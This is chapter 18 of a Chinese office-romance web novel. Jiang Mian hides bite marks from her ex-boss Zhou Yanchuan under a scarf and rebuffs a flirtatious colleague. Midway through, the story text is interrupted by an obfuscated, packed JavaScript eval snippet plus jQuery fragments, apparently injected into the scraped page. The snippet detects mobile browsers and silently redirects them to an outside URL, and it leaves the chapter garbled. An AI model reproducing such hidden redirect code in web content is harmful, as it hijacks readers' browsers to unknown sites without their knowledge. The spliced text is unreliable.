18. 丝巾下的齿痕

作品:《和前任上司表白后

    茶水间。


    直饮水机的出口正哗哗往下淌水。


    江眠盯着流淌的热水发愣,脑子里全是昨晚的画面。


    周衍川红着眼眶的质问、被她打后苍白的脸,还有最后轻声关门的背影。


    愧疚像潮水般涌上来,夹杂着一丝心痛。


    “水漫出来了。”


    熟悉的声音唤回了江眠的出神。


    滚烫的水顺着杯壁漫出来,带着白色的雾气,烫得指尖瞬间发麻。她被激得一缩,低呼一声。手忙脚乱去关掉龙头开关。


    那片皮肤肉眼可见地红起来,一跳一跳地灼痛着。


    昨天她扇了周衍川一巴掌。被扇巴掌是类似的痛感吗?


    “来,”一只男人的手捏住了江眠的手腕,“用冰敷一下。”


    江眠愣神两秒,想把手缩回来,却被那人牢牢握住,她抬头看了那人一眼。


    许嘉言一手托着她的手腕,另一手拿着冰袋敷在她烫红的指尖上,温柔道:“疼吗?”


    茶水间门外传来脚步声,江眠使劲挣脱了他,说:“谢谢,我自己来吧。”


    她接过他递来的冰袋,余光瞥向门口,走进来的是周衍川和贝琳。


    周衍川的目光短暂地在她的手和许嘉言身上停留,约莫一两秒的时间,立马移开了。


    贝琳倒是看了江眠好一会儿,微笑着走过来说:“手怎么了?”


    “没事,烫到了。”江眠抿了抿唇,拿着自己装好水的杯子躲到一边,以免影响他人。


    周衍川走到刚才用过的龙头旁,将杯子放在下面,打开开关,热水伴随着雾气流淌下来。


    江眠微微侧头,极快、极隐蔽地扫了他一眼。


    他垂着头,视线落在杯子上,鼻梁挺直,肤色冷白,细密的黑睫耷拉下来,末端微翘,淡色的薄唇抿着。


    和他以往的表情都不同,是一种对什么都提不起兴趣的、游离在外的模样。


    指尖上那种火辣的痛感渐渐淡去,江眠拿起杯子,小心地从周衍川背后经过,把冰袋放回原处,然后离开了茶水间。


    许嘉言站在走廊上,瞧见她走出来,温和地朝她笑。


    江眠冲他点点头。想起那天周衍川对他的迁怒,不由得止步了脚步,想了一下,抬头说:“前辈,那天…”


    他打断了她:“叫我嘉言哥吧。”


    办公室里的后辈确实都叫他嘉言哥,她作为新人,叫一声是合理的。


    她犹豫了一下:“嘉言哥…”


    “手怎么样了?”许嘉言不由分说地托起她的手腕查看。


    江眠不适地抽回了手:“没事了。对了,那天的事…真的很抱歉,部长他可能,说话比较难听。”


    许嘉言往后看了一下,笑说:“我都没在意。哪天你请我吃饭好了,就当给我赔罪。”


    “呃。”江眠想着要怎么回答,思索间,顺着他的目光回头看了看。


    周衍川端着咖啡杯,伫立在茶水间门口,正看着他们。见她回头,敛下眼皮,避开了对视,迈步走过来。


    不知是不是受上次周衍川让许嘉言下不来台的事所影响,江眠有些怕他这样朝她走过来,总觉得,他会说点什么让人难堪的话。


    她不安地看向地面,握紧了杯子。


    “怎么样?餐厅你订。我吃什么都可以。”许嘉言个子高,略俯低身子对她说。


    一双锃亮的皮鞋从他们身边经过,一阵格外清冷的香气掠过她鼻尖,带走了最后一丝暖意。


    周衍川什么都没说,径直离开了。


    那嗒嗒嗒的轻响,像踩在江眠心口上,一下一下地拉扯着她的神经。


    她抬头,望着周衍川离开的背影发怔,忘了回复许嘉言说的话。


    他似乎轻呼了口气:“你和部长,是那种关系吗?”


    “咦?不是啊。”江眠矢口否认。


    “那为什么不是很情愿和我吃饭的样子呢?”许嘉言低头看了看自己,“我也不比他差很多吧。”


    江眠被他这么一说,才头一次认真地端详了他一下,很快撇开视线:“跟这个没关系…”


    “好吧,”他接受了她的说辞,从口袋里掏出什么,迅速塞进了江眠的口袋里,“请你吃,别苦着个脸了。”


    他没等她拒绝,很快离开。


    “你们在聊什么啊?”身后传来贝琳的声音。


    江眠从口袋里摸出那个物件,拿出来一看。是一颗包装精美的酒心巧克力。


    “啥呀?”贝琳好奇地凑过来。


    江眠把巧克力塞给贝琳:“请你吃吧。”


    “这个牌子的巧克力好吃,”贝琳没客气,满意地放进口袋里,“你今天怎么戴丝巾了?”


    江眠伸手按住脖子,神情不自然地说:“我搭配一下衣服。”


    贝琳上下扫视她,像在观察她的穿搭,而后古怪地伸过手来:“有猫腻~”


    “没有啦!”江眠捂紧了脖颈某处,那是昨晚被周衍川咬过,留下来的痕迹——一圈整齐的、明显的齿痕,周围还有大大小小的吻痕。


    一番争斗下,贝琳还是扯动了她的丝巾,而后目瞪口呆地望着那处,好半天说不出话来。


    江眠窘迫地把杯子放到一边,紧张地重新缠绕丝巾。


    托周衍川的福,她昨晚硬是翻遍了衣柜,就为找一条丝巾遮掩他留下的痕迹。


    贝琳讶异地自言自语:“周衍川是狗吗?”


    江眠围好丝巾,没心情和她打趣,侧过脖子,问:“围好了吗?还看得见吗?”


    贝琳单手给她理了理丝巾,说:“看不见了。不过,你们进展到这种地步了吗?那死小子,人不可貌相啊,居然是这样的。”


    江眠知道她误会了,为难地解释道:“不是你想的那样。”


    “不是?那是什么?”


    江眠斟酌了一下,还是不知道怎么说,拿起杯子转身:“反正不是啦。”


    贝琳跟上来,狐疑地跟了她一路,半天才严肃地问:“不会是家暴什么的吧?”


    “不是,你别问了。”


    贝琳将她拦下来,正色道:“不行。他是不是欺负你了?你跟我说,我帮理不帮亲!”


    走廊上人来人往,江眠急着摆脱她:“他没欺负我。”


    “不,肯定欺负你了,我看你今天就不对劲,他也不对劲,你俩都怪怪的。你跟我说,他是不是欺负你?我帮你找他讨回公道!”


    一听贝琳要找周衍川算账,江眠更是语无伦次:“你别找他!他什么也没干!”


    “他都这样了,你还帮他说话!”


    “贝琳姐你真别管了!”江眠扔下一句话,脚步急促地甩开她。


    -


    今天一整天,江眠都缩着脖子躲人,丝巾缠得紧紧的,指尖时不时按一下脖颈,生怕风把丝巾吹歪,露出下面的痕迹。


    有人靠近她三米内,她就下意识地屏住呼吸,脚步加快,连同事打招呼都只敢含糊应一声,整颗心都悬着。


    好不容易熬到下班时间,18时一到,她就拿起包直奔食堂。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963835|193361||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>她在食堂找了个角落吃饭,一边吃一边警惕着旁人靠近,一顿饭都吃得不安生。


    一只手突然按上她的肩膀,吓得她肩膀一耸。


    “江眠。”小雨拿着一杯酸奶,笑嘻嘻的。


    “你吓我一跳。”江眠呼了口气,抚平内心的波动。


    “哈哈,怎么了?一惊一乍的。”小雨在她对面坐下。


    “没事,今天老有人突然碰我。”她想起许嘉言早上的几次触碰。他是真看上了她了?


    “老有人?谁啊?”


    “许嘉言。”


    “嘉言哥?”小雨把脸凑过来,看了看四周,“你知道他的八卦吗?”


    江眠眨了眨眼,有点懵。公司里的人际关系和八卦,她通通不知道。


    “什么八卦?”


    “听说他钓女生很厉害哦。”


    “……钓女生?”


    “对啊,”小雨压低声音,神神秘秘地说,“他会同时对好几个女生示好,送点小礼物,说点暧昧的话,但从来不确定关系。你可要小心了。”


    江眠迟疑地点点头,想起了早上那颗被她转送给贝琳的酒心巧克力。许嘉言……好像是挺会撩的。


    小雨见她若有所思,叹了口气,转而忧心忡忡地趴在桌上:“啊——不说他了,下周就是试用期考评了,真不知道我们能不能留下。”


    “试用期考评”五个字像针一样扎了江眠一下,她握着筷子的手微微收紧。


    “哎,你当然不用担心了,”小雨看着她,眼神里带着一丝不易察觉的羡慕,“你那么受部长重视。”


    “我哪有……”江眠听她说这句话,心里有些不舒服,低声反驳。


    “怎么没有?”小雨坐直了身子,开始掰着指头数,“上次的归因报告,他派人帮你;下午茶,点你喜欢的口味;脚本创意,让你和贝琳姐合作……这还不是重视啊?”


    小雨每说一条,江眠的心就往下沉一分。这些在旁人眼里的“特殊对待”,只会加剧她的不安。


    “那都是工作……”她辩解的声音越来越小。


    “工作也是啊,”小雨凑近了些,语气里带着一丝恳求,“眠眠,咱俩关系好,你跟我说句实话,你是不是……真的和部长在谈啊?如果是的话,你能不能帮我探探口风,问问考评的事?我真的很需要这份工作。”


    小雨的追问,和那句“我真的很需要这份工作”,像一面镜子,照出了江眠自己的窘境和恐惧。


    她害怕别人说她利用不正当关系通过考评,也害怕因此被举报、导致失业。


    一股烦躁和迁怒的情绪涌了上来。


    “没有!”她猛地抬起头,语气生硬地打断了小雨,“我跟他什么关系都没有!”


    小雨被她突然的激动吓了一跳,愣愣地看着她。


    江眠意识到自己反应过激,但话已出口,只能硬着头皮把谎撒到底。她深吸一口气,用一种近乎不耐烦的、斩钉截铁的语气说:


    “我不喜欢他。你想多了。”


    说完,她再也坐不住,端起几乎没怎么动的餐盘,径直离开了座位。


    她坐过的桌子后方,周衍川背对着她们,不知坐了多久,捏着筷子的手指因为用力而指节泛白。


    周围人声嘈杂,碗筷碰撞声、邻桌的笑谈声、阿姨的叫卖声……所有的声音都像隔着一层厚厚的玻璃,唯有那句“不喜欢”,清晰得像针一样扎进他的耳膜。


    过了会儿,他默默地站起身,将几乎没动过的饭菜倒掉,面无表情地离开食堂。